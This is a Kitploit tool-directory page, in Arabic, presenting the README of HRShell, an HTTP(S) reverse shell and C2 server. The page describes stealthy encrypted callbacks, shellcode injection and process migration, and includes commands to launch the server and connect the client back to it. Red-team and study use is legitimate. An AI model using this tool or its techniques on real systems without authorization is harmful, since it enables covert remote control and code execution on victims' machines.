Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
HRShell — HRShell هي صدفة عكسية عبر HTTPS/HTTP مبنية باستخدام Flask. وهي خادم C2 متقدم يضم العديد من الميزات والإمكانيات. | Kitploit
أدوات/GitHubGitHub/chrispetrou/hrshell
أدوات التشفير/فك التشفيرالاستغلالالهندسة العكسيةشيل كودما بعد الاستغلالأمن الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولاتArchived
GitHub
24869منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
chrispetrou/hrshell

HRShell

HRShell هي صدفة عكسية عبر HTTPS/HTTP مبنية باستخدام Flask. وهي خادم C2 متقدم يضم العديد من الميزات والإمكانيات.

عرض المستودع
HRShell: شل عكسية متقدمة عبر HTTP(S) مبنية باستخدام Flask

GPLv3 license version Known Vulnerabilities



HRShell هي شل عكسية عبر HTTPS/HTTP مبنية باستخدام Flask ومتوافقة مع python 3.x. تم اختبار client.py بنجاح على:

  • Linux ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

بينما server.py متوافق مع أنظمة Unix (دعم Windows قريباً...)

الميزات

  • خفي (Stealthy) 👻
  • دعم TLS 🔑
    • إما باستخدام شهادات فورية (on-the-fly) أو
    • بتحديد زوج شهادة/مفتاح (المزيد من التفاصيل أدناه...)
  • حقن شيل كود (Shellcode injection) 💉 (المزيد من التفاصيل أدناه...)
    • إما حقن شيل كود في خيط/عملية فرعية من العملية الحالية
      • المنصات المدعومة حتى الآن:
        • Windows x86
        • Unix x86
        • Unix x64
    • أو حقن شيل كود في عملية أخرى (migrate <PID>) بتحديد معرف العملية
      • المنصات المدعومة حتى الآن:
        • Windows x86
        • Windows x64
  • يمكن تعيين/تعديل شيل الكود بسرعة من الخادم (المزيد من التفاصيل أدناه...)
  • دعم البروكسي على العميل.
  • التنقل في الدلائل (أمر cd والمتغيرات).
  • أمر history تفاعلي متاح على أنظمة Unix.
  • أوامر download/upload/screenshot/hex متاحة.
  • دعم التوجيه (pipelining) (|) والأوامر المتسلسلة (;).
  • دعم جميع الأوامر غير التفاعلية (مثل gdb, top إلخ...)
  • الخادم يدعم HTTP و HTTPS.
  • يأتي مع خادمين مدمجين 🌐 حتى الآن... خادم flask المدمج و tornado-WSGI وهو متوافق أيضًا مع خوادم الإنتاج الأخرى مثل gunicorn و .

*لتغييرات الإصدارات، راجع CHANGELOG.

التفاصيل


الخفاء (Stealthy) :shipit:

HRShell خفي لأنه يستخدم بروتوكول HTTP(S) كطريقة اتصال بين العميل والخادم. بالإضافة إلى ذلك، عند استخدام TLS، يكون حركة المرور مشفرة أيضًا. أيضًا إذا لم يتم كتابة الشهادة (CERT) يدويًا في العميل (وهو خيار ممكن) ولم يتم استخدام أمر upload، فإن client.py لا يلمس القرص إطلاقًا.

TLS 🔑

جانب الخادم: ما لم يتم تحديد خيار --http، يكون server.py افتراضيًا HTTPS باستخدام شهادات فورية، نظرًا لأن الشهادات الفورية هي ميزة مدمجة في Flask. ولكن إذا تم تحديد خيار -s tornado لجعل الخادم يستخدم TLS، فيجب تحديد خيار --cert و --key على النحو التالي:

root@kitploit:~
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

يمكن استخدام شهادات "حقيقية" أو طريقة أخرى لتوليد زوج شهادة/مفتاح مثل استخدام mkcert أو openssl مباشرة كما يلي:

root@kitploit:~
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

يمكن أيضًا استخدام زوج شهادة/مفتاح مع خادم flask:

root@kitploit:~
python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ إذا كان الخادم يستخدم TLS، فلا يمكن للعميل من حيث التصميم استخدام http://... للاتصال بالخادم، بل يجب استخدام https بدلاً من ذلك.

جانب العميل: افتراضيًا، يكون التحقق من SSL معطلًا في العميل، إلا إذا:

  • تم تحديد المعامل --cert مثل:
    root@kitploit:~
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • أو تم تعيين المتغير CERT، بدلاً من القيمة الافتراضية None، مسبقًا بشهادة صالحة مثل:
    root@kitploit:~
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    في هذه الحالة، سيحاول client.py إنشاء ملف .cert.pem مخفي تلقائيًا وسيستخدمه بدلاً من ذلك.

⚠️ أن تعطيل التحقق من SSL افتراضيًا على العميل لا يعني بأي حال أن TLS معطل أيضًا، سيتم تمكين TLS إذا استخدمه الخادم - لذا يعتمد TLS كليًا على الخادم. خيار --cert على العميل موجود فقط كطريقة بديلة لوجود جلسة مشفرة بين الخادم والعميل، وهذا كل شيء.

حقن شيل الكود 💉

يوجد "وضعان" لحقن شيل الكود باستخدام الأمرين التاليين على التوالي:

  1. migrate <PID>: باستخدام هذا الأمر يمكننا حقن شيل الكود في مساحة الذاكرة لعملية أخرى عن طريق تحديد معرف العملية الخاص بها. حاليًا، يمكن تطبيق هذا الأمر فقط على منصات Windows x86/x64!
  1. inject shellcode: باستخدام هذا الأمر، يتم إنشاء خيط جديد (أو عملية فرعية على أنظمة unix) من عمليتنا الحالية ويتم حقن شيل الكود في مساحة الذاكرة الخاصة به. ونتيجة لذلك، لا تتأثر شل HTTP(S) الخاصة بنا بالحقن. المنصات التي يمكن تطبيق هذا الأمر عليها هي: Unix x86/x64, Windows x86!
ملاحظات
  • في حالة حدوث الحقن على عملية ما، تلعب صلاحيات العملية دورًا مهمًا جدًا. ليس من الممكن دائمًا الحقن في أي عملية بسبب عدم وجود الصلاحيات المناسبة.

تعيين/تعديل شيل الكود

هناك طريقتان يمكنك من خلالها تحديد/تعيين نوع شيل الكود الذي تريد أن ينفذه العميل:

  • إما تعيين متغير shellcode مسبقًا في برنامج client.py النصي ليكون شيل كود صالحًا أو
  • استخدام الأمر set shellcode <shellcode-id> للقيام بذلك بسرعة. باستخدام هذا الأمر يمكنك تحديث شيل الكود الخاص بك على جانب العميل من جانب الخادم عدة مرات كما تريد!

الطريقة الأولى واضحة ومباشرة. ومع ذلك، لاستخدام الطريقة الثانية والأكثر ملاءمة (نظرًا لأنه يمكنك أيضًا تعديل شيل كود تم تعيينه بالفعل) يجب عليك إعداد برنامج shellcodes/utils.py النصي بحيث يحتوي على شيل الكود (أكواد) الذي تختاره. يحتوي البرنامج النصي على مثال لكيفية القيام بذلك.

💡 يمكنك تعديل/تحديث برنامج shellcodes/utils.py النصي حتى بعد تشغيل server.py عدة مرات كما تريد، حيث سيستخدم server.py بشكل ديناميكي الإصدار الأحدث/الأكثر حداثة. بهذه الطريقة يمكنك تعيين وتعديل شيل الكودات أثناء العمل...

الأوامر المتاحة:

الأوامر الخاصة:

أي أمر آخر مدعوم إذا كان غير تفاعلي مثل مثل gdb, top إلخ... أيضًا بكتابة python server.py -h أو python client.py -h يمكنك الحصول على معلومات حول الوسائط المتاحة للخادم والعميل.

ملاحظة: إذا كان عميل متصل بالخادم ونريد إنهاء الخادم، قبل الضغط على CTRL+C، يجب علينا إغلاق الاتصال باستخدام الأمر exit.

إنشاء أوامر مخصصة

جانب العميل:

لإنشاء أمر مخصص، بشكل عام:

  • يجب تعريف قاعدة regex تصف الأمر في جانب العميل
  • يجب إضافة الكود لمعالجة هذا الأمر كعبارة elif أيضًا في جانب العميل.

جانب الخادم:

إذا كان الأمر يتطلب وجود نقطة نهاية جديدة في جانب الخادم، فعندئذ:

  • لتعريف نقطة النهاية:
    root@kitploit:~
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        documentation if needed
        """
        ...
        return ...
    
  • ثم قم بتعديل handleGET() لتوجيه العميل إلى تلك النقطة النهائية:
    root@kitploit:~
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • قم بالتعديلات المناسبة في handlePOST() لمعالجة عرض النتائج.

وسائط السكريبت

كلا البرنامجين النصيين (server.py و client.py) يمكن تخصيصهما من خلال الوسائط:

server.py

root@kitploit:~
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: خادم شل عكسي عبر HTTP(S) مع ميزات متقدمة.

الوسائط:
  -h, --help      عرض رسالة المساعدة هذه والخروج
  -s , --server   تحديد خادم HTTP(S) لاستخدامه (الافتراضي: flask).
  -c , --client   قبول اتصالات فقط من العميل/IP المحدد.
  --host          تحديد IP لاستخدامه (الافتراضي: 0.0.0.0).
  -p , --port     تحديد منفذ لاستخدامه (الافتراضي: 5000).
  --http          تعطيل TLS واستخدام HTTP بدلاً من ذلك.
  --cert          تحديد شهادة لاستخدامها (الافتراضي: None).
  --key           تحديد المفتاح الخاص المقابل لاستخدامه (الافتراضي: None).

client.py

root@kitploit:~
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: عميل HTTP(S) مع ميزات متقدمة.

الوسائط:
  -h, --help      عرض رسالة المساعدة هذه والخروج
  -s , --server   تحديد خادم HTTP(S) للاتصال به.
  -c , --cert     تحديد شهادة لاستخدامها.
  -p , --proxy    تحديد بروكسي لاستخدامه [الصيغة: host:port]

📦 المتطلبات:

لتثبيت متطلبات الخادم:

root@kitploit:~
pip install -r requirements.txt --upgrade --user

📌 المهام المتبقية

  • إضافة المزيد من الأوامر والميزات.
  • إصلاح الأخطاء المحتملة.

💭 المساهمات والملاحظات

نرحب بالملاحظات والمساهمات. إذا وجدت أي خطأ أو لديك طلب ميزة، فلا تتردد في فتح issue، وبمجرد مراجعته سأحاول إصلاحه.

إخلاء المسؤولية

هذه الأداة مخصصة فقط لأغراض الاختبار والأكاديمية ولا يمكن استخدامها إلا حيث تم الحصول على موافقة صارمة. لا تستخدمها لأغراض غير قانونية! تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون مسؤولية أي سوء استخدام أو ضرر ناتج عن هذه الأداة والبرنامج بشكل عام.

الاعتمادات والمراجع

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • مقال رائع موجود هنا.
  • دالة hexdump الخاصة بالعميل مأخوذة من هذه الـ gist الرائعة.
  • شعار HRShell مصنوع باستخدام fontmeme.com!

الترخيص

هذا المشروع مرخص تحت رخصة GPLv3 - راجع ملف LICENSE للحصول على التفاصيل.

تنزيل الأداة
Nginx
  • كل من server.py و client.py قابلان للتوسع بسهولة.
  • نظرًا لأن معظم الوظائف تأتي من تصميم نقاط نهاية الخادم، فمن السهل جدًا كتابة عميل بأي لغة أخرى مثل java, GO إلخ...